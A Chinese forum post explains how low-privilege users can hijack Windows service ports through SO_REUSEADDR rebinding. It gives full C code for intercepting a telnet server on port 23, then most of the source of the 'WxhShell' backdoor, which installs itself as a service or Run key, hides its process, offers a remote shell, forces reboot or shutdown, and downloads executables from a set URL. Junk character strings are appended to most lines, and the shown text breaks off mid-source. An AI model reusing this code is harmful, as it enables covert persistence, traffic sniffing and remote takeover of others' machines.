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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: w g^'oy  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); W?gelu]  
{Z}zT1kA  
  saddr.sin_family = AF_INET; < 49\B  
M%2w[<-8c  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); co*XW  
gp-rTdN  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); }1|FES  
?ajVf./Ja  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 \{54mM~  
u@T,8  
  这意味着什么?意味着可以进行如下的攻击: .RPh#FI6J  
22Oe~W;  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 A5~OHmeK  
nTHCb>,vM  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ZOy^TR  
G|j8iV O  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 %[OZ;q& X  
`!C5"i8+i2  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  PoZxT-U  
.[o`TlG%  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 yGC3B00Z  
?>q5Abp[  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Hm]\.ZEy  
8aI^vP"7`=  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 9`Xr7gmQf  
DI=?{A  
  #include %JuT'7VB  
  #include o)M<^b3KO  
  #include Wb;D9Z  
  #include    =QhK|C!$A  
  DWORD WINAPI ClientThread(LPVOID lpParam);   V82hk0*j  
  int main() (/C 8\}Ox  
  { AQ)J|i  
  WORD wVersionRequested; #0c;2}D  
  DWORD ret; lI;ACF^  
  WSADATA wsaData; zd3^k<  
  BOOL val; }Io5&ww:U  
  SOCKADDR_IN saddr; U,V+qnS  
  SOCKADDR_IN scaddr; N a<);Pg  
  int err; Ub`vf4EB  
  SOCKET s; {YEGy  
  SOCKET sc; ORhvo,.u  
  int caddsize; k; ned  
  HANDLE mt; 8b< 'jft  
  DWORD tid;   |)%;B%  
  wVersionRequested = MAKEWORD( 2, 2 ); {Z#=ppvs  
  err = WSAStartup( wVersionRequested, &wsaData ); \I7,1I  
  if ( err != 0 ) { S&NWZ:E3[  
  printf("error!WSAStartup failed!\n"); +O@|bd \  
  return -1; !rff/0/x"  
  } 40%<E  
  saddr.sin_family = AF_INET; c.}#.-b8  
   z7R2viR[  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 "X\6tl7a|  
H4uHCkj  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); fy={  
  saddr.sin_port = htons(23); FBS]U$1  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 9/dADJe0b  
  {  e,T^8_>  
  printf("error!socket failed!\n"); 6b\JD.r*{  
  return -1; 4oN*J +"=+  
  } :i* =s}cv  
  val = TRUE; ;-8]  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 SEIJ+u9XsA  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) yw*| HT  
  { Y/y`c-VO  
  printf("error!setsockopt failed!\n"); KB8_yo{y  
  return -1; yo :63CPP  
  } uuYeXI;  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; "6>+IF  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 6@Ir|o  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 m=V69 a#  
d bHxc@H  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) L4v26*P  
  { |};-.}u^`h  
  ret=GetLastError(); a'?V:3 ]  
  printf("error!bind failed!\n"); bCV_jR+  
  return -1; bOD] `*q  
  } W('V2Z-q  
  listen(s,2); #^xj"}o@  
  while(1) w6|l ~.$=  
  { Jn"ya^~  
  caddsize = sizeof(scaddr); 6Tsi^((Li  
  //接受连接请求 \%QA)T%  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); FA1h!Vit  
  if(sc!=INVALID_SOCKET) 9ZI^R/*Kc  
  { 2j=HxE  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); @Wa,  
  if(mt==NULL) 8p PQ   
  { 4f'!,Q ;  
  printf("Thread Creat Failed!\n"); ,Gy2$mglB  
  break; c6tH'oV  
  } ^ >#@qMw  
  } =jvL2ps<  
  CloseHandle(mt); s,H }km  
  } a!\^O).pA  
  closesocket(s); x57O.WdN  
  WSACleanup(); R6\|:mI,$  
  return 0; -V=,x3Zew  
  }   r}-vOPn`E  
  DWORD WINAPI ClientThread(LPVOID lpParam) +7r?vo1  
  { afd.v$63  
  SOCKET ss = (SOCKET)lpParam; hpo*5Va  
  SOCKET sc; - @tL]]  
  unsigned char buf[4096]; ;OSEMgB1  
  SOCKADDR_IN saddr; +<fT\Oq#  
  long num; 7AQv4  
  DWORD val; u^( s0q  
  DWORD ret; WP !u3\91  
  //如果是隐藏端口应用的话,可以在此处加一些判断 r:H.VAD  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   E51S#T  
  saddr.sin_family = AF_INET; %XH%.Ps/  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); I$*LMzve  
  saddr.sin_port = htons(23); 9(hI%idq  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) >Zh^,T={G  
  { 9 !s)52qt  
  printf("error!socket failed!\n"); .Zr3!N.t  
  return -1; fHXz{,?/w  
  } p%IVWeZnx  
  val = 100; e(vnnv?R{  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) &0 SgEUZr  
  { CgKFI  
  ret = GetLastError(); *kt%.wPJ  
  return -1; %!]CP1S  
  } F{laA YE  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ;n.SRy6  
  { X 1}U  
  ret = GetLastError(); w exa\o  
  return -1; LknV47vd  
  } s"x(i  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) AA[?a  
  { \!wo<UX%  
  printf("error!socket connect failed!\n"); iw I}  
  closesocket(sc); QG5)mIJ  
  closesocket(ss); `h<>_zpjY  
  return -1; 3]67U}`  
  } m.c2y6<=  
  while(1) ORFi0gFbA  
  { ZV$!dHW/  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 G4wJv^6i9  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 1HUe8m[#3  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 g&X X@I8+v  
  num = recv(ss,buf,4096,0); f!J?n]  
  if(num>0) 8r48+_y3u  
  send(sc,buf,num,0); U|v@v@IBA  
  else if(num==0) !}=#h8fv  
  break; `/9&o;qM   
  num = recv(sc,buf,4096,0); 51`*VR]`K  
  if(num>0) GP_%. fO\M  
  send(ss,buf,num,0);  4q\gFFV4  
  else if(num==0) 9Rb tFwbn  
  break; .cs4AWml<  
  } T*](oA@  
  closesocket(ss); P>_ r6C  
  closesocket(sc); _EC H(  
  return 0 ; G<`6S5J>hr  
  } |]]Rp  
q6eD{/4a1  
[y(<1]i-a  
========================================================== Z=^~]Mfa  
FH7l6b,^  
下边附上一个代码,,WXhSHELL x, #?  
`9nk{ !X\  
========================================================== ef:YYt{|q  
/,JL \b  
#include "stdafx.h" :@^T^  
HlXEU$e  
#include <stdio.h> $pj;CoPm  
#include <string.h> h:4F?'W  
#include <windows.h> .`/6[Zp  
#include <winsock2.h> }nMp.7b  
#include <winsvc.h> i(0%cNP7  
#include <urlmon.h> 4Vv$bbu+  
ABU~V+'2  
#pragma comment (lib, "Ws2_32.lib") BZk0B ?  
#pragma comment (lib, "urlmon.lib") @}hdMVi  
,XsBm+Q(  
#define MAX_USER   100 // 最大客户端连接数 P5`BrY,hZ  
#define BUF_SOCK   200 // sock buffer 8WLBq-]G  
#define KEY_BUFF   255 // 输入 buffer c<5(c%a  
M`,`2I A  
#define REBOOT     0   // 重启 'h`)6{  
#define SHUTDOWN   1   // 关机 H+ 7Fw'u  
c:`CL<xzU  
#define DEF_PORT   5000 // 监听端口 gS.,V!#t  
? ;$f"Wl  
#define REG_LEN     16   // 注册表键长度 MmD1@fW32#  
#define SVC_LEN     80   // NT服务名长度 rl:D>t(:.  
>"pHk@AWK  
// 从dll定义API e{}vT$-  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); P@8S|#LpZ  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); )KUEkslR:  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); LmjGU[L,@  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); $mut v=IO  
V~S(cO[vj  
// wxhshell配置信息 D9higsN  
struct WSCFG { ejlau#8"  
  int ws_port;         // 监听端口 }PxP J$o  
  char ws_passstr[REG_LEN]; // 口令 HD;l1W)  
  int ws_autoins;       // 安装标记, 1=yes 0=no %VwkYAgA  
  char ws_regname[REG_LEN]; // 注册表键名 \04 (V'`U  
  char ws_svcname[REG_LEN]; // 服务名 G(MLq"R6U  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 I0}G, q  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 l vfplA  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 diD[/&k#kh  
int ws_downexe;       // 下载执行标记, 1=yes 0=no @hOT< Uo  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" mxmj  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 *&$2us0%%  
b2UqN]{  
}; Lo5CVlK  
>JT^[i8[  
// default Wxhshell configuration QI6=[  
struct WSCFG wscfg={DEF_PORT, GUUd(xS {  
    "xuhuanlingzhe", N`NW*~  
    1, #P;vc{ Iq  
    "Wxhshell", @8U8>'zDE  
    "Wxhshell", <E\vc6n  
            "WxhShell Service", yrFl,/8&G  
    "Wrsky Windows CmdShell Service", q;9OqArq  
    "Please Input Your Password: ", &6\f;T4  
  1, `_ )5K u}  
  "http://www.wrsky.com/wxhshell.exe", r<EwtO+x  
  "Wxhshell.exe" :djbZ><  
    }; VVHL@  
s+6tdBvzs  
// 消息定义模块 @~`:sa+H  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 0 1:(QJ  
char *msg_ws_prompt="\n\r? for help\n\r#>"; jF|LPWl  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; $im6v  
char *msg_ws_ext="\n\rExit."; 0hCUr]cZ,  
char *msg_ws_end="\n\rQuit."; Z2&7HTz  
char *msg_ws_boot="\n\rReboot..."; Ed>n/)Sm  
char *msg_ws_poff="\n\rShutdown..."; 8W}rS v+  
char *msg_ws_down="\n\rSave to "; Hzojv<c  
l`?4O  
char *msg_ws_err="\n\rErr!"; A\QrawBp0l  
char *msg_ws_ok="\n\rOK!"; M`QK{$1p  
?xb2jZ/0X  
char ExeFile[MAX_PATH]; p9j2jb,qy  
int nUser = 0; lfyij[6q+  
HANDLE handles[MAX_USER]; |jyD@Q,4  
int OsIsNt; xH{V.n&v  
QA# 7T3|  
SERVICE_STATUS       serviceStatus; u^+ (5|  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ]RTK:%  
T,5(JP(h3  
// 函数声明 NU.YL1  
int Install(void); ?/^{sW' |  
int Uninstall(void); ad`=A V]  
int DownloadFile(char *sURL, SOCKET wsh); Jek3K&  
int Boot(int flag); Ql? >,FZ  
void HideProc(void); F7U$ 7(I2G  
int GetOsVer(void); F{FSmUxzK  
int Wxhshell(SOCKET wsl); JwcC9 O  
void TalkWithClient(void *cs); jP"yG#  
int CmdShell(SOCKET sock); Zl{ DqC^  
int StartFromService(void); t[X,m]SX  
int StartWxhshell(LPSTR lpCmdLine); Sbjc8V ut  
fP;2qho  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); f(.t0{Etq  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ,Zb_Pu   
.5+5ca  
// 数据结构和表定义 %oiA'hz;*  
SERVICE_TABLE_ENTRY DispatchTable[] = vz`r !xj)  
{ s^ K:cz  
{wscfg.ws_svcname, NTServiceMain}, n-:n.JX  
{NULL, NULL} mZ4I}_\,  
}; yvV]|B@sO  
?D=t:=  
// 自我安装 rl XMrn  
int Install(void) 2[5z6oG  
{ trM)&aQto  
  char svExeFile[MAX_PATH]; % e1`wMa  
  HKEY key; SOQR(UT  
  strcpy(svExeFile,ExeFile); ;N!W|G  
3Qu Ft~@@  
// 如果是win9x系统,修改注册表设为自启动 GE |P)VO  
if(!OsIsNt) { h SU|rVi  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { f}{Oj-:"CC  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |5me }!C  
  RegCloseKey(key); 5g4xhYl70n  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { onF?;>[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); TPWqiA?3Cp  
  RegCloseKey(key); k~pbXA*u  
  return 0; Nj`Miv o  
    } 8 qwOZ d  
  } `&>CK`%Xu  
} [:cZDVaA|  
else { Oy~X@A  
l8By2{pN  
// 如果是NT以上系统,安装为系统服务 - xQJY)  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); $jL+15^N0+  
if (schSCManager!=0) 0A.9<&Lod  
{ *;<>@*  
  SC_HANDLE schService = CreateService T``~YoIdz  
  ( -mqTlXM  
  schSCManager, CB>O%m[1  
  wscfg.ws_svcname, 7A4 6?kfu  
  wscfg.ws_svcdisp, J)_IfbY  
  SERVICE_ALL_ACCESS, yMBFw:/o  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , WkK.ON^  
  SERVICE_AUTO_START, % !p/r`  
  SERVICE_ERROR_NORMAL, 6D1tRo  
  svExeFile, {b90c'8?a  
  NULL, 't un;Y  
  NULL, p$bR M`R&s  
  NULL, <!I^xo [  
  NULL, dJUI.!hv;  
  NULL `&qeSEs\  
  ); J7s\  
  if (schService!=0) c9axzg UA  
  { N1jJ(}{3  
  CloseServiceHandle(schService); ,)P6fa/  
  CloseServiceHandle(schSCManager); Xsv^GmP+  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); =YeI,KbA)  
  strcat(svExeFile,wscfg.ws_svcname); t7b\#o  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { a OTrng  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); $Qq5Fx9kU  
  RegCloseKey(key); 9$e6?<`(Y  
  return 0; ]6TX)1  
    } J)a^3>  
  } - u'5xn7  
  CloseServiceHandle(schSCManager); L$s ;tJ   
} h|Udw3N1L  
} i`HXBq!|w  
.GNl31f0  
return 1; pPt w(5bH  
} +*P;Vb6D  
$sBje*;  
// 自我卸载 yZ57uz  
int Uninstall(void) %<Kw  
{ \A/??8cgXs  
  HKEY key; e8$OV4X  
{B+{2;Zk  
if(!OsIsNt) { "ba>.h,#'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Xw{Qktn  
  RegDeleteValue(key,wscfg.ws_regname); %[7<GcWl  
  RegCloseKey(key); YztW1GvI  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { c;1Xu1  
  RegDeleteValue(key,wscfg.ws_regname); )Qx&m}  
  RegCloseKey(key); ^ G@o} Z  
  return 0; ZsepTtY  
  } M>"J5yqR  
} Pg/$ N5->  
} zoI0oA  
else { %<Te&6NU'  
QX&1BKqWn  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); F~${L+^  
if (schSCManager!=0) \)m V2r!%  
{ e-/+e64Q@  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); #ysSfM6  
  if (schService!=0) o5 |P5h  
  { !'T,%8']  
  if(DeleteService(schService)!=0) { E HY}gG)  
  CloseServiceHandle(schService); @8s:,Y_  
  CloseServiceHandle(schSCManager); r-k,4Yz  
  return 0; XH{P@2~l  
  } DqTp*hI  
  CloseServiceHandle(schService); nPo YjQi  
  } E< Ini'od[  
  CloseServiceHandle(schSCManager); &Eqa y'  
} 9q|36CAO_  
} @E@5/N6M  
j,i> 1|J  
return 1;  {]=oOy1  
} b^I(>l-  
GMRFZw_M  
// 从指定url下载文件 RFq&#3f$  
int DownloadFile(char *sURL, SOCKET wsh) v05B7^1@_  
{ 5/"&C-t  
  HRESULT hr; A~7q=-  
char seps[]= "/"; 0-a[[hL?  
char *token; 3a\.s9A "  
char *file; q'~F6$kv5  
char myURL[MAX_PATH]; p{k^)5CR/  
char myFILE[MAX_PATH]; 3 h~U)mg  
qz2j55j   
strcpy(myURL,sURL); }m0hq+p^  
  token=strtok(myURL,seps); xh raf1v3\  
  while(token!=NULL) #_}r)q  
  { L:3  
    file=token; E3<~C(APW  
  token=strtok(NULL,seps); a}#Jcy!e  
  } o\7q!  
nt*nTtcE  
GetCurrentDirectory(MAX_PATH,myFILE); js<}>wD7<  
strcat(myFILE, "\\"); G'qGsKf\  
strcat(myFILE, file); ;]+p>p-#  
  send(wsh,myFILE,strlen(myFILE),0); V]I+>Zn| 7  
send(wsh,"...",3,0); ??tNMr5{[  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); voAen&>!  
  if(hr==S_OK) s@c.nT%BYL  
return 0; ); <Le6  
else zBd)E21H  
return 1; _onEXrM  
]t|-  
} V)g{ Ew]:  
9?~K"+-SI  
// 系统电源模块 K!a4>Du{  
int Boot(int flag) xp<p(y8e1d  
{ DeTD.)pS  
  HANDLE hToken; &z"sT*3  
  TOKEN_PRIVILEGES tkp; loPBHoE3@H  
q&`>&k  
  if(OsIsNt) { O=LiCSNEV  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); >u)DuZXj  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); o}4J|@Hi|4  
    tkp.PrivilegeCount = 1; UAi]hUq  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Skn2-8;10  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 7 ,![oY[  
if(flag==REBOOT) { ahJu+y  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) !W ,pjW%Y  
  return 0; ?()$imb*  
} M~/R1\'&j  
else { Jm(sx'qPx  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) .]\+JTm  
  return 0; hXE_OXZ  
} C)|{7W  
  } $6 A91|ZSQ  
  else { a6vls]?  
if(flag==REBOOT) { uNcE_<  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) lh?TEQ  
  return 0; ,{_;q:  
} -P5M(Rt  
else { O%n=n3  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) cA8"Ft{P)  
  return 0; H LnizE  
} R6KS&Ge_  
} E5y\t_H  
Z$'483<  
return 1; OVE5:)$x  
} 9 yE   
gU^2;C  
// win9x进程隐藏模块 j;+!BKWy4  
void HideProc(void) Ea7LPHE#  
{ 4xE [S  
7P2?SW^  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); +UTs2*H/^  
  if ( hKernel != NULL ) u3>D vl@  
  { s{]2~Z^2od  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); V9"?}cR/W;  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); tLzX L *  
    FreeLibrary(hKernel); TnvX&Y'  
  } <RMrp@[  
[sT}hYh+  
return; ETA 1\  
} ?H.7 WtTC  
[$D4U@mRp  
// 获取操作系统版本 C"We>!  
int GetOsVer(void) Ehv*E  
{ 'n)]"G|  
  OSVERSIONINFO winfo; z'FJx2  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); y s3&$G  
  GetVersionEx(&winfo); W r%E}mX-  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) <hO|:LX  
  return 1; @4Ox$M  
  else n#|pR2  
  return 0; J:q:g*Wi  
} mP?~#RZ  
uk(|c-_]~c  
// 客户端句柄模块 B[I a8t  
int Wxhshell(SOCKET wsl) e{dYLQd  
{ )|`# BC  
  SOCKET wsh; ny. YkN2  
  struct sockaddr_in client; !VfP#B6.  
  DWORD myID; Cy~Pfty  
Yc*Ex-s  
  while(nUser<MAX_USER) 3]X~bQAw  
{ ?oc#$fcQ~  
  int nSize=sizeof(client); t*&O*T+fgy  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); =[ $zR>o*%  
  if(wsh==INVALID_SOCKET) return 1; #!WD1a?L  
q i27:oJ  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Z\`i~  
if(handles[nUser]==0) ;U^7 ]JO;  
  closesocket(wsh); 5ecAev^1-  
else TZ]D6.mD  
  nUser++; }4; \sY  
  } j/FFxlFNL  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); o$=D`B  
iA^GA8dn  
  return 0; >$.lM~k  
} LJ+fZ N  
@\=% M^bx  
// 关闭 socket HZ#<+~J  
void CloseIt(SOCKET wsh) f_&bwfbo  
{ {y[T3(tt  
closesocket(wsh); +])St3h  
nUser--; SRixT+E  
ExitThread(0); #hOAG_a,  
} ,MtN_V-  
dz6i~&  
// 客户端请求句柄 \.R+|`{tf  
void TalkWithClient(void *cs) E_aDkNT  
{ F`3J=AJOJ  
L0Fhjbc  
  SOCKET wsh=(SOCKET)cs; (oYM}#Q  
  char pwd[SVC_LEN]; V=@M!;'<  
  char cmd[KEY_BUFF]; YB}p`b42L  
char chr[1]; ]Y%?kQ^  
int i,j; 6n 2LG  
~ [por  
  while (nUser < MAX_USER) { er0hf2N]  
O%(E 6 n  
if(wscfg.ws_passstr) { Gj.u /l  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); M=57 d7  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "0lC:Wu]  
  //ZeroMemory(pwd,KEY_BUFF); }538vFNi  
      i=0; 4mG?$kCN  
  while(i<SVC_LEN) { gZFtV  
H^N@fG<*dh  
  // 设置超时 Z.Sq5\d  
  fd_set FdRead; IXmtjRv5  
  struct timeval TimeOut; H'L ~8>  
  FD_ZERO(&FdRead); )<D(Mb 2p|  
  FD_SET(wsh,&FdRead); r&G=}ZMO  
  TimeOut.tv_sec=8; +=5Dt7/|  
  TimeOut.tv_usec=0; k0=$mmmPY  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); \&&jzU2  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); pN[G?A  
<fJ*{$[p  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $_6DvJ0  
  pwd=chr[0]; =)B@`"  
  if(chr[0]==0xd || chr[0]==0xa) { 3MR4yw5v  
  pwd=0; LM*#DLadk  
  break; _pX y}D  
  } Z|FWQ8gZ4m  
  i++; 8TK&i,  
    } u |h T1l  
Ax=k0%M[&  
  // 如果是非法用户,关闭 socket `dH[&=S  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ^cE|o&Rm;  
} l3sL!D1u  
-NG`mfu  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); BwN65_5p  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =%4vrY `  
; 7`y##  
while(1) { m)A~1+M$)L  
'NM$<<0  
  ZeroMemory(cmd,KEY_BUFF); lbw*T  
n]/7UH}(<&  
      // 自动支持客户端 telnet标准   (z}q6Lfa  
  j=0; ~*|0yPFg  
  while(j<KEY_BUFF) { >f [Lb|t  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  )"im|9  
  cmd[j]=chr[0]; vwZrvjP2  
  if(chr[0]==0xa || chr[0]==0xd) { -?A,N,nnX  
  cmd[j]=0; < c[+60p"  
  break; #6[7q6{ 4  
  } ,&II4;F  
  j++; !<wM?Q:  
    } MCOz-8@|Y  
=R08B)yR  
  // 下载文件 Rw$>()}H8  
  if(strstr(cmd,"http://")) { $J>J@4  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); >Lh+(M;+F  
  if(DownloadFile(cmd,wsh)) F[Dhj,C"  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); k!gft'iU  
  else KJ Gh)  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z:l.{3J$  
  } \}0J%F1  
  else { By|y:  
c=U1/=R5  
    switch(cmd[0]) { \($EYhx  
  aZ%  
  // 帮助 x[Xj[O  
  case '?': { b(lC7Xm  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); |OXufV?I  
    break; ?fB}9(6  
  } S7cxEOfAu  
  // 安装 @za X\  
  case 'i': { "o +" Jd  
    if(Install()) #C+""qm  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l65-8  
    else TI{W(2O*  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tBNkVh(c  
    break; `!?SA<a:  
    } FcnSO0G%  
  // 卸载 )q?z "F|  
  case 'r': { #!wL0 p  
    if(Uninstall()) ~ {sRK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %m:T?![XO  
    else \de82 4  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); JzA`*X[  
    break; xm@vx}O:  
    } /n= %#{  
  // 显示 wxhshell 所在路径 iyw "|+  
  case 'p': { 4%Q8>mEvT  
    char svExeFile[MAX_PATH]; {/]Ks8`Dm  
    strcpy(svExeFile,"\n\r"); f n9[Li  
      strcat(svExeFile,ExeFile); $`:/O A<.  
        send(wsh,svExeFile,strlen(svExeFile),0); hcEU kD  
    break; P 0xInW F  
    } \`N%77A  
  // 重启 VXforI  
  case 'b': { 7xAzd# c?=  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); zi~_[l-  
    if(Boot(REBOOT)) )NeI]p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); VmLV:"P}^  
    else { Hcw@24ic  
    closesocket(wsh); |A_yr/f  
    ExitThread(0); OO.. Y  
    } "^j& ^sA+  
    break; Z~}=q  
    } M{S7tMX  
  // 关机 30 Vv Zb  
  case 'd': { 5b9v`6Kq  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); -(FVTWi0  
